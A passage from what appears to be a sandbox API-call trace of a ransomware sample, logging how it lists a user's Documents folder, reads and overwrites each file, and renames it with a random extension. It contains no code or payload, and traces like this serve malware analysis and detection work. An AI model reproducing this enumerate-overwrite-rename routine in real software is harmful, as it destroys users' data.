ftLastWriteTime.dwLowDateTime=0x4a86c000, ftLastWriteTime.dwHighDateTime=0x1d8be6c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zIcOMqefwIUm", cAlternateFileName="ZICOMQ~1")) returned 0 [0151.612] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0151.613] SetErrorMode (uMode=0x0) returned 0x1 [0151.613] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0151.613] SetErrorMode (uMode=0x1) returned 0x0 [0151.613] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcef98b90, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcef98b90, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0151.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcef98b90, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcef98b90, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89e24340, ftCreationTime.dwHighDateTime=0x1d8b760, ftLastAccessTime.dwLowDateTime=0xad6c6be0, ftLastAccessTime.dwHighDateTime=0x1d8bcc6, ftLastWriteTime.dwLowDateTime=0xad6c6be0, ftLastWriteTime.dwHighDateTime=0x1d8bcc6, nFileSizeHigh=0x0, nFileSizeLow=0x5d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="07Yv7eTan0d.xlsx", cAlternateFileName="07YV7E~1.XLS")) returned 1 [0151.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5eb4bb0, ftCreationTime.dwHighDateTime=0x1d8a48a, ftLastAccessTime.dwLowDateTime=0xdf82e9d0, ftLastAccessTime.dwHighDateTime=0x1d8bb0c, ftLastWriteTime.dwLowDateTime=0xdf82e9d0, ftLastWriteTime.dwHighDateTime=0x1d8bb0c, nFileSizeHigh=0x0, nFileSizeLow=0x17682, dwReserved0=0x0, dwReserved1=0x0, cFileName="3CgFzZlG5azlFPRBrK.docx", cAlternateFileName="3CGFZZ~1.DOC")) returned 1 [0151.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c0dc0, ftCreationTime.dwHighDateTime=0x1d8b19c, ftLastAccessTime.dwLowDateTime=0xb4f4a740, ftLastAccessTime.dwHighDateTime=0x1d8bd77, ftLastWriteTime.dwLowDateTime=0xb4f4a740, ftLastWriteTime.dwHighDateTime=0x1d8bd77, nFileSizeHigh=0x0, nFileSizeLow=0x11cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5Lsm7.xlsx", cAlternateFileName="5LSM7~1.XLS")) returned 1 [0151.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfec083a0, ftCreationTime.dwHighDateTime=0x1d85943, ftLastAccessTime.dwLowDateTime=0x6cb26020, ftLastAccessTime.dwHighDateTime=0x1d89037, ftLastWriteTime.dwLowDateTime=0x6cb26020, ftLastWriteTime.dwHighDateTime=0x1d89037, nFileSizeHigh=0x0, nFileSizeLow=0xb4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aZCtR9nIeCkOH6b.xlsx", cAlternateFileName="AZCTR9~1.XLS")) returned 1 [0151.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdabb3f60, ftCreationTime.dwHighDateTime=0x1d8a8d3, ftLastAccessTime.dwLowDateTime=0x3a2881e0, ftLastAccessTime.dwHighDateTime=0x1d8ab56, ftLastWriteTime.dwLowDateTime=0x3a2881e0, ftLastWriteTime.dwHighDateTime=0x1d8ab56, nFileSizeHigh=0x0, nFileSizeLow=0x18b02, dwReserved0=0x0, dwReserved1=0x0, cFileName="bjeZGjCALbyoQVDOz.xlsx", cAlternateFileName="BJEZGJ~1.XLS")) returned 1 [0151.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f893f0, ftCreationTime.dwHighDateTime=0x1d84c8e, ftLastAccessTime.dwLowDateTime=0x724615a0, ftLastAccessTime.dwHighDateTime=0x1d88870, ftLastWriteTime.dwLowDateTime=0x724615a0, ftLastWriteTime.dwHighDateTime=0x1d88870, nFileSizeHigh=0x0, nFileSizeLow=0x8d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAYzC3LmZ5EJN7.pptx", cAlternateFileName="CAYZC3~1.PPT")) returned 1 [0151.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8588a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0151.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6b8890, ftCreationTime.dwHighDateTime=0x1d8c0bc, ftLastAccessTime.dwLowDateTime=0x91562bd0, ftLastAccessTime.dwHighDateTime=0x1d8c0ef, ftLastWriteTime.dwLowDateTime=0x91562bd0, ftLastWriteTime.dwHighDateTime=0x1d8c0ef, nFileSizeHigh=0x0, nFileSizeLow=0x16fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DG0rAqFzdHUG15.csv", cAlternateFileName="DG0RAQ~1.CSV")) returned 1 [0151.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb4951b0, ftCreationTime.dwHighDateTime=0x1d8372a, ftLastAccessTime.dwLowDateTime=0xba90f110, ftLastAccessTime.dwHighDateTime=0x1d8a682, ftLastWriteTime.dwLowDateTime=0xba90f110, ftLastWriteTime.dwHighDateTime=0x1d8a682, nFileSizeHigh=0x0, nFileSizeLow=0xfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="FQRLvgP_7y0.pptx", cAlternateFileName="FQRLVG~1.PPT")) returned 1 [0151.614] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eaa9f50, ftCreationTime.dwHighDateTime=0x1d85182, ftLastAccessTime.dwLowDateTime=0x122803a0, ftLastAccessTime.dwHighDateTime=0x1d8afc5, ftLastWriteTime.dwLowDateTime=0x122803a0, ftLastWriteTime.dwHighDateTime=0x1d8afc5, nFileSizeHigh=0x0, nFileSizeLow=0x60f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FYYNoNjqg.pptx", cAlternateFileName="FYYNON~1.PPT")) returned 1 [0151.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77e97da0, ftCreationTime.dwHighDateTime=0x1d8bf96, ftLastAccessTime.dwLowDateTime=0x431c5e20, ftLastAccessTime.dwHighDateTime=0x1d8c032, ftLastWriteTime.dwLowDateTime=0x431c5e20, ftLastWriteTime.dwHighDateTime=0x1d8c032, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="j5g-Xfr8dqgh7T", cAlternateFileName="J5G-XF~1")) returned 1 [0151.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2896200, ftCreationTime.dwHighDateTime=0x1d8b70d, ftLastAccessTime.dwLowDateTime=0x35a2c860, ftLastAccessTime.dwHighDateTime=0x1d8bbcd, ftLastWriteTime.dwLowDateTime=0x35a2c860, ftLastWriteTime.dwHighDateTime=0x1d8bbcd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LtH-", cAlternateFileName="")) returned 1 [0151.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5d7ce70, ftCreationTime.dwHighDateTime=0x1d85f91, ftLastAccessTime.dwLowDateTime=0xd30d24d0, ftLastAccessTime.dwHighDateTime=0x1d8abf9, ftLastWriteTime.dwLowDateTime=0xd30d24d0, ftLastWriteTime.dwHighDateTime=0x1d8abf9, nFileSizeHigh=0x0, nFileSizeLow=0x5744, dwReserved0=0x0, dwReserved1=0x0, cFileName="lyw0j.docx", cAlternateFileName="LYW0J~1.DOC")) returned 1 [0151.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0151.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0151.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0151.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21e55d50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21e55d50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0151.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863fd30, ftCreationTime.dwHighDateTime=0x1d8bcb6, ftLastAccessTime.dwLowDateTime=0xc0f40f30, ftLastAccessTime.dwHighDateTime=0x1d8bcf1, ftLastWriteTime.dwLowDateTime=0xc0f40f30, ftLastWriteTime.dwHighDateTime=0x1d8bcf1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QblbR", cAlternateFileName="")) returned 1 [0151.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aef1250, ftCreationTime.dwHighDateTime=0x1d8bef5, ftLastAccessTime.dwLowDateTime=0x2bc8f040, ftLastAccessTime.dwHighDateTime=0x1d8c0cc, ftLastWriteTime.dwLowDateTime=0x2bc8f040, ftLastWriteTime.dwHighDateTime=0x1d8c0cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QrYACtUpnNIFjM0C3", cAlternateFileName="QRYACT~1")) returned 1 [0151.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3125150, ftCreationTime.dwHighDateTime=0x1d8724d, ftLastAccessTime.dwLowDateTime=0x49e7d500, ftLastAccessTime.dwHighDateTime=0x1d872ca, ftLastWriteTime.dwLowDateTime=0x49e7d500, ftLastWriteTime.dwHighDateTime=0x1d872ca, nFileSizeHigh=0x0, nFileSizeLow=0x11b5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ve9sXdoHpkRTg7q3G9.pptx", cAlternateFileName="VE9SXD~1.PPT")) returned 1 [0151.615] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d04fae0, ftCreationTime.dwHighDateTime=0x1d8bc05, ftLastAccessTime.dwLowDateTime=0xbdd482c0, ftLastAccessTime.dwHighDateTime=0x1d8be7d, ftLastWriteTime.dwLowDateTime=0xbdd482c0, ftLastWriteTime.dwHighDateTime=0x1d8be7d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vqpLNVtnZe", cAlternateFileName="VQPLNV~1")) returned 1 [0151.616] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ca3cc60, ftCreationTime.dwHighDateTime=0x1d8632e, ftLastAccessTime.dwLowDateTime=0xf2a2a80, ftLastAccessTime.dwHighDateTime=0x1d89098, ftLastWriteTime.dwLowDateTime=0xf2a2a80, ftLastWriteTime.dwHighDateTime=0x1d89098, nFileSizeHigh=0x0, nFileSizeLow=0x10ff0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x Ozq8JBx.docx", cAlternateFileName="XOZQ8J~1.DOC")) returned 1 [0151.616] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc195f9a0, ftCreationTime.dwHighDateTime=0x1d88ccf, ftLastAccessTime.dwLowDateTime=0x52447ac0, ftLastAccessTime.dwHighDateTime=0x1d895d2, ftLastWriteTime.dwLowDateTime=0x52447ac0, ftLastWriteTime.dwHighDateTime=0x1d895d2, nFileSizeHigh=0x0, nFileSizeLow=0x44ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xy9pNIL0lNohzVp4.docx", cAlternateFileName="XY9PNI~1.DOC")) returned 1 [0151.616] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feba1c0, ftCreationTime.dwHighDateTime=0x1d84870, ftLastAccessTime.dwLowDateTime=0x5e70c190, ftLastAccessTime.dwHighDateTime=0x1d8b897, ftLastWriteTime.dwLowDateTime=0x5e70c190, ftLastWriteTime.dwHighDateTime=0x1d8b897, nFileSizeHigh=0x0, nFileSizeLow=0x2df8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xzzxF rzoZd o7Cf.pptx", cAlternateFileName="XZZXFR~1.PPT")) returned 1 [0151.616] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50fd2320, ftCreationTime.dwHighDateTime=0x1d8628c, ftLastAccessTime.dwLowDateTime=0x2f3ddfd0, ftLastAccessTime.dwHighDateTime=0x1d8c0d9, ftLastWriteTime.dwLowDateTime=0x2f3ddfd0, ftLastWriteTime.dwHighDateTime=0x1d8c0d9, nFileSizeHigh=0x0, nFileSizeLow=0x42e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Y9mBxacR2XeE-IZjW3.xlsx", cAlternateFileName="Y9MBXA~1.XLS")) returned 1 [0151.616] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x487bad80, ftCreationTime.dwHighDateTime=0x1d8a6a1, ftLastAccessTime.dwLowDateTime=0x51df2df0, ftLastAccessTime.dwHighDateTime=0x1d8aa86, ftLastWriteTime.dwLowDateTime=0x51df2df0, ftLastWriteTime.dwHighDateTime=0x1d8aa86, nFileSizeHigh=0x0, nFileSizeLow=0x17a42, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Y_6on3l1.docx", cAlternateFileName="Y_6ON3~1.DOC")) returned 1 [0151.616] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88416670, ftCreationTime.dwHighDateTime=0x1d8bcf0, ftLastAccessTime.dwLowDateTime=0x4a86c000, ftLastAccessTime.dwHighDateTime=0x1d8be6c, ftLastWriteTime.dwLowDateTime=0x4a86c000, ftLastWriteTime.dwHighDateTime=0x1d8be6c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zIcOMqefwIUm", cAlternateFileName="ZICOMQ~1")) returned 1 [0151.616] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88416670, ftCreationTime.dwHighDateTime=0x1d8bcf0, ftLastAccessTime.dwLowDateTime=0x4a86c000, ftLastAccessTime.dwHighDateTime=0x1d8be6c, ftLastWriteTime.dwLowDateTime=0x4a86c000, ftLastWriteTime.dwHighDateTime=0x1d8be6c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zIcOMqefwIUm", cAlternateFileName="ZICOMQ~1")) returned 0 [0151.616] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0151.616] SetErrorMode (uMode=0x0) returned 0x1 [0151.617] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\07Yv7eTan0d.xlsx", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\07Yv7eTan0d.xlsx", lpFilePart=0x0) returned 0x2d [0151.617] SetErrorMode (uMode=0x1) returned 0x0 [0151.617] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\07Yv7eTan0d.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\07yv7etan0d.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0151.617] GetFileType (hFile=0x1d0) returned 0x1 [0151.617] SetErrorMode (uMode=0x0) returned 0x1 [0151.617] GetFileType (hFile=0x1d0) returned 0x1 [0151.617] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x5d39 [0151.617] ReadFile (in: hFile=0x1d0, lpBuffer=0x2896830, nNumberOfBytesToRead=0x5d39, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2896830*, lpNumberOfBytesRead=0x21d4d8*=0x5d39, lpOverlapped=0x0) returned 1 [0151.640] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\07Yv7eTan0d.xlsx", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\07Yv7eTan0d.xlsx", lpFilePart=0x0) returned 0x2d [0151.640] SetErrorMode (uMode=0x1) returned 0x0 [0151.640] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\07Yv7eTan0d.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\07yv7etan0d.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0151.642] GetFileType (hFile=0x1d0) returned 0x1 [0151.642] SetErrorMode (uMode=0x0) returned 0x1 [0151.643] GetFileType (hFile=0x1d0) returned 0x1 [0151.643] WriteFile (in: hFile=0x1d0, lpBuffer=0x2993890*, nNumberOfBytesToWrite=0x5d40, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x2993890*, lpNumberOfBytesWritten=0x21d558*=0x5d40, lpOverlapped=0x0) returned 1 [0151.645] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\07Yv7eTan0d.xlsx", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\07Yv7eTan0d.xlsx", lpFilePart=0x0) returned 0x2d [0151.645] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\07Yv7eTan0d.xlsx.9221zp", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\07Yv7eTan0d.xlsx.9221zp", lpFilePart=0x0) returned 0x34 [0151.645] SetErrorMode (uMode=0x1) returned 0x0 [0151.645] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\07Yv7eTan0d.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\07yv7etan0d.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89e24340, ftCreationTime.dwHighDateTime=0x1d8b760, ftLastAccessTime.dwLowDateTime=0xad6c6be0, ftLastAccessTime.dwHighDateTime=0x1d8bcc6, ftLastWriteTime.dwLowDateTime=0x56dfc620, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5d40)) returned 1 [0151.645] SetErrorMode (uMode=0x0) returned 0x1 [0151.645] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\07Yv7eTan0d.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\07yv7etan0d.xlsx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\07Yv7eTan0d.xlsx.9221zp" (normalized: "c:\\users\\keecfmwgj\\documents\\07yv7etan0d.xlsx.9221zp")) returned 1 [0151.646] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\3CgFzZlG5azlFPRBrK.docx", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\3CgFzZlG5azlFPRBrK.docx", lpFilePart=0x0) returned 0x34 [0151.647] SetErrorMode (uMode=0x1) returned 0x0 [0151.647] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\3CgFzZlG5azlFPRBrK.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\3cgfzzlg5azlfprbrk.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0151.647] GetFileType (hFile=0x1d0) returned 0x1 [0151.647] SetErrorMode (uMode=0x0) returned 0x1 [0151.647] GetFileType (hFile=0x1d0) returned 0x1 [0151.647] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x17682 [0151.648] ReadFile (in: hFile=0x1d0, lpBuffer=0x129219e8, nNumberOfBytesToRead=0x17682, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x129219e8*, lpNumberOfBytesRead=0x21d4d8*=0x17682, lpOverlapped=0x0) returned 1 [0151.969] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\3CgFzZlG5azlFPRBrK.docx", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\3CgFzZlG5azlFPRBrK.docx", lpFilePart=0x0) returned 0x34 [0151.969] SetErrorMode (uMode=0x1) returned 0x0 [0151.969] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\3CgFzZlG5azlFPRBrK.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\3cgfzzlg5azlfprbrk.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0151.970] GetFileType (hFile=0x1d0) returned 0x1 [0151.970] SetErrorMode (uMode=0x0) returned 0x1 [0151.970] GetFileType (hFile=0x1d0) returned 0x1 [0151.970] WriteFile (in: hFile=0x1d0, lpBuffer=0x12996b30*, nNumberOfBytesToWrite=0x17690, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x12996b30*, lpNumberOfBytesWritten=0x21d558*=0x17690, lpOverlapped=0x0) returned 1 [0151.973] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\3CgFzZlG5azlFPRBrK.docx", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\3CgFzZlG5azlFPRBrK.docx", lpFilePart=0x0) returned 0x34 [0151.973] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\3CgFzZlG5azlFPRBrK.docx.k0b23c", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\3CgFzZlG5azlFPRBrK.docx.k0b23c", lpFilePart=0x0) returned 0x3b [0151.973] SetErrorMode (uMode=0x1) returned 0x0 [0151.973] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\3CgFzZlG5azlFPRBrK.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\3cgfzzlg5azlfprbrk.docx"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5eb4bb0, ftCreationTime.dwHighDateTime=0x1d8a48a, ftLastAccessTime.dwLowDateTime=0xdf82e9d0, ftLastAccessTime.dwHighDateTime=0x1d8bb0c, ftLastWriteTime.dwLowDateTime=0x5711c300, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, 